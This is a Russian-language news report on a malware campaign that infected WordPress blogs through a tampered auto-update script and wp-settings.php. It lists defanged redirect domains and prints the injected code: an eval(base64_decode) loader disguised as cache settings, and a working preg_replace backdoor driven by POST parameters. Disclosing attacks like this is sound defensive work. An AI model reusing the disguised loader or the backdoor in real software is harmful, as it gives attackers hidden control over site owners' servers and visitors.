Более 1000 блогов на платформе WordPress уже инфицированы зловредом, который заранее внедрился в скрипт автоматического обновления wp-admin/includes/update.php. Атаку обнаружил Денис Синегубко из компании Unmask Parasites.

Поскольку атака началась в районе 20 апреля, перед выходом новой версии WordPress 3.3.2, к настоящему моменту функцией автоматического обновления воспользовалось большое количество админов. Многие из них, таким образом, добавили в свои блоги вредоносный код.

Инфицированные сайты осуществляют редирект по следующим адресам:

hxxp://berega .in/?site=<site id>&q=<search query>&searchEngine=<engine id>
hxxp://zizigoba .in/?site=<site id>&q=<search query>&searchEngine=<engine id>
hxxp://vivizaza .be/?site=<site id>8&q=<search query>&searchEngine=<engine id>

Затем пользователей перенаправляют по URL вроде таких:

hxxp://riotorio .com/search/?q=<search query>
hxxp://lazgosearch .com/search?_t=1&q=<search query>
http://gabazasearch .com/?_t=1&q=<search query>

В итоге, злоумышленники осуществляют монетизацию трафика с помощью рекламных программ с оплатой за клики.

Атака проведена путём внедрения в файл wp-settings.php дополнительного кода (см. расшифровку):

// For an advanced caching plugin to use. Uses a static drop-in because you would only want one.
// Start cache settings
eval(base64_decode('...long unreadable string here...'));
// Finish cache settings
// Start cache settings
// Finish cache settings

В коде есть несколько интересных особенностей. Например, он устанавливает cookie и перенаправляет пользователей только в том случае, если cookie отсутствует. Более того, он отправляет IP-адрес пользователя на удалённый сервер, чтобы блокировать редирект для этого IP в будущем. Всё это сделано для скрытия атаки путём затруднения её повторения.

Есть фрагмент, который выполняет функцию бэкдора, так что злоумышленники могут позже модифицировать код на каждом заражённом сервере.

if (isset($_REQUEST['cadv']) && isset($_REQUEST['gadv'])) {
$c = $_POST['cadv'];
$c = str_replace("\\\\", "\\", $c);
$g = $_POST['gadv'];
$g = str_replace("\\\"", "\"", $g);
$r = preg_replace("$c", $g, 'sss 4');
die();
}

Кроме wp-settings.php, модификации подвергается функция wp_update_core в файле wp-admin/includes/update.php. Расшифрованный код см. здесь. Именно она отвечает за осуществление автоматического обновления WordPress.



Оставить мнение